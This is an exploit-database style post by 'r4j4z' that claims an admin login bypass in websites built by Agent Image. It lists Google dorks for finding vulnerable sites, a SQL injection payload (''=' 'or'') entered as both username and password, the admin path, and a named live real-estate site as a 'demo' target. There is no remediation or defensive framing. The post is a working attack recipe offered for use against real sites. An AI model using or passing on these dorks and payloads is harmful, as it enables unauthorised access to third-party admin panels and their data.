[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] exploit title : Agent Image Admin Login bypass [+] Dork 1 : intext:"Design by Agent Image" inurl:ID= [+] Dork 2 : inurl:request_appt.php?id= [+] Vendor Homepage: https://www.agentimage.com [+] Category: Webapps [+] Tested on: WiN7_x64 [+] Exploit Author: r4j4z [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] Proof of Concept [+] find target [+] Enter username and password with [+] username : '=' 'or' [+] password : '=' 'or' [+] Admin Address : admin [+] Demo : https://www.lisavancerealestate.com/admin [+] [+] [+] [+] [+] [+] [+] [+] persiansecurity [R4j4z] [+] [+] [+] [+] [+] [+][+][+][+][+][+][+][+][+][+][+][+][+]